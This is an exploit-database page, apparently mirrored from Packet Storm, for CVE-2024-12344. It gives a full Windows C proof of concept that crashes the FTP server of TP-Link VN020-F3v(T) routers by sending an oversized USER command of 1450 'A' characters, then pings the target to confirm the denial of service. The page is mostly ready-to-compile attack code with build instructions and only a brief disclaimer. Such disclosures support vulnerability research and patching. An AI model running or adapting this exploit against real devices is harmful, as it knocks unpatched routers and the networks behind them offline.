Share
## https://sploitus.com/exploit?id=PACKETSTORM:190532
* Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021 - Buffer Overflow Memory Corruption
    * Date: 11/24/2024
    * Exploit Author: Mohamed Maatallah
    * Vendor Homepage: https://www.tp-link.com
    * Version: TT_V6.2.1021 (VN020-F3v(T))
    * Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
    * CVE: CVE-2024-12344
    * Category: Remote
    
    * Description:
    * A critical buffer overflow and memory corruption vulnerability was discovered in TP-Link VN020-F3v(T) router's FTP server implementation. The vulnerability stems from improper input validation of the USER command, allowing unauthenticated attackers to trigger various failure modes through payload size manipulation:
    
    * 1. 1100 bytes - Delayed crash (5-10 seconds)
    * 2. 1450 bytes - Immediate crash
    * 3. >1450 bytes - Undefined behavior/state corruption
    
    * Proof of Concept: (attached full c file)
     * Compilation Instructions (Visual Studio):
     * ---------------------------------------
     * 1. Open Visual Studio
     * 2. Create a new C Console Application
     * 3. Add these additional dependencies to project settings:
     *    - ws2_32.lib
     *    - iphlpapi.lib
     * 4. Ensure Windows SDK is installed
     * 5. Set Platform Toolset to latest v143 or v142
     * 6. Compile in Release or Debug mode
     *
     * Disclaimer:
     * ----------
     * This proof of concept is for educational and research purposes only.
     * Unauthorized testing without explicit permission is unethical and illegal.
     */
    
    #define _CRT_SECURE_NO_WARNINGS
    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock2.h>
    #include <ws2tcpip.h>
    #include <stdint.h>
    #include <windows.h>
    #include <iphlpapi.h>
    #include <icmpapi.h>
    
    #pragma comment(lib, "ws2_32.lib")
    #pragma comment(lib, "iphlpapi.lib")
    
     // Target configuration - MODIFY BEFORE TESTING
    #define DEST_IP "192.168.1.1"     // IP of target FTP server
    #define DEST_PORT 21               // Standard FTP port
    #define PING_TIMEOUT_MS 1000       // Network timeout
    #define MAX_PING_RETRIES 5         // Connectivity check attempts
    
    // 1450: Instant
    // 1100: Delayed
    #define CRASH_STRING_LENGTH 1450   // Exact number of 'A's triggering instantcrash
    #define TOTAL_PAYLOAD_LENGTH (CRASH_STRING_LENGTH + 5 + 2)  // USER + As + \r\n
    
    typedef struct {
        HANDLE icmp_handle;
        IPAddr target_addr;
        LPVOID reply_buffer;
        DWORD reply_size;
    } ping_context_t;
    
    void log_msg(const char* prefix, const char* msg) {
        SYSTEMTIME st;
        GetLocalTime(&st);
        printf("[%02d:%02d:%02d] %s %s\n", st.wHour, st.wMinute, st.wSecond, prefix, msg);
    }
    
    void hexdump(const char* desc, const void* addr, const int len) {
        int i;
        unsigned char buff[17];
        const unsigned char* pc = (const unsigned char*)addr;
    
        if (desc != NULL)
            printf("%s:\n", desc);
    
        for (i = 0; i < len; i++) {
            if ((i % 16) == 0) {
                if (i != 0)
                    printf("  %s\n", buff);
                printf("  %04x ", i);
            }
    
            printf(" %02x", pc[i]);
    
            if ((pc[i] < 0x20) || (pc[i] > 0x7e))
                buff[i % 16] = '.';
            else
                buff[i % 16] = pc[i];
            buff[(i % 16) + 1] = '\0';
        }
    
        while ((i % 16) != 0) {
            printf("   ");
            i++;
        }
    
        printf("  %s\n", buff);
    }
    
    BOOL check_connectivity(ping_context_t* ctx) {
        char send_buf[32] = { 0 };
        return IcmpSendEcho(ctx->icmp_handle, ctx->target_addr, send_buf, sizeof(send_buf),
            NULL, ctx->reply_buffer, ctx->reply_size, PING_TIMEOUT_MS) > 0;
    }
    
    char* generate_exact_crash_payload() {
        char* payload = (char*)malloc(TOTAL_PAYLOAD_LENGTH + 1);  // +1 for null terminator
        if (!payload) {
            log_msg("[-]", "Failed to allocate payload memory");
            return NULL;
        }
    
        // Construct the exact payload that causes crash
        strcpy(payload, "USER ");                            // 5 bytes
        memset(payload + 5, 'A', CRASH_STRING_LENGTH);      // 1450 'A's
        memcpy(payload + 5 + CRASH_STRING_LENGTH, "\r\n", 2); // 2 bytes
        payload[TOTAL_PAYLOAD_LENGTH] = '\0';
    
        char debug_msg[100];
        snprintf(debug_msg, sizeof(debug_msg), "Generated payload of length %d ('A's + 5 byte prefix + 2 byte suffix)",
            TOTAL_PAYLOAD_LENGTH);
        log_msg("[*]", debug_msg);
    
        return payload;
    }
    
    BOOL send_crash_payload(const char* target_ip, uint16_t target_port) {
        WSADATA wsa;
        SOCKET sock = INVALID_SOCKET;
        struct sockaddr_in server;
        char server_reply[2048];
        int recv_size;
        ping_context_t ping_ctx = { 0 };
        BOOL success = FALSE;
    
        // Initialize Winsock
        if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
            log_msg("[-]", "Winsock initialization failed");
            return FALSE;
        }
    
        // Setup ICMP for connectivity monitoring
        ping_ctx.icmp_handle = IcmpCreateFile();
        ping_ctx.reply_size = sizeof(ICMP_ECHO_REPLY) + 32;
        ping_ctx.reply_buffer = malloc(ping_ctx.reply_size);
        inet_pton(AF_INET, target_ip, &ping_ctx.target_addr);
    
        // Create socket
        sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock == INVALID_SOCKET) {
            log_msg("[-]", "Socket creation failed");
            goto cleanup;
        }
    
        // Setup server address
        server.sin_family = AF_INET;
        server.sin_port = htons(target_port);
        inet_pton(AF_INET, target_ip, &server.sin_addr);
    
        // Connect to FTP server
        log_msg("[*]", "Connecting to target FTP server...");
        if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) {
            log_msg("[-]", "Connection failed");
            goto cleanup;
        }
        log_msg("[+]", "Connected successfully");
    
        // Verify initial connectivity
        if (!check_connectivity(&ping_ctx)) {
            log_msg("[-]", "No initial connectivity to target");
            goto cleanup;
        }
    
        // Receive banner
        if ((recv_size = recv(sock, server_reply, sizeof(server_reply) - 1, 0)) == SOCKET_ERROR) {
            log_msg("[-]", "Failed to receive banner");
            goto cleanup;
        }
        server_reply[recv_size] = '\0';
        log_msg("[*]", server_reply);
    
        // Generate and send the exact crash payload
        char* payload = generate_exact_crash_payload();
        if (!payload) {
            goto cleanup;
        }
    
        log_msg("[*]", "Sending crash payload...");
        hexdump("Payload hex dump (first 32 bytes)", payload, 32);
    
        if (send(sock, payload, TOTAL_PAYLOAD_LENGTH, 0) < 0) {
            log_msg("[-]", "Failed to send payload");
            free(payload);
            goto cleanup;
        }
        free(payload);
        log_msg("[+]", "Payload sent successfully");
    
        // Monitor for crash
        log_msg("[*]", "Monitoring target status...");
        Sleep(1000);  // Wait a bit for crash to take effect
    
        int failed_pings = 0;
        for (int i = 0; i < MAX_PING_RETRIES; i++) {
            if (!check_connectivity(&ping_ctx)) {
                failed_pings++;
                if (failed_pings >= 3) {
                    log_msg("[+]", "Target crash confirmed!");
                    success = TRUE;
                    goto cleanup;
                }
            }
            Sleep(500);
        }
    
        log_msg("[-]", "Target appears to still be responsive");
    
    cleanup:
        if (sock != INVALID_SOCKET) {
            closesocket(sock);
        }
        if (ping_ctx.icmp_handle != INVALID_HANDLE_VALUE) {
            IcmpCloseHandle(ping_ctx.icmp_handle);
        }
        if (ping_ctx.reply_buffer) {
            free(ping_ctx.reply_buffer);
        }
        WSACleanup();
        return success;
    }
    
    int main(void) {
        printf("\nTP-Link VN020 FTP Memory Corruption PoC\n");
        printf("---------------------------------------\n");
        printf("Target: %s:%d\n", DEST_IP, DEST_PORT);
        if (send_crash_payload(DEST_IP, DEST_PORT)) {
            printf("\nExploit successful - target crashed\n");
        }
        else {
            printf("\nExploit failed - target may be patched\n");
        }
    
        return 0;
    }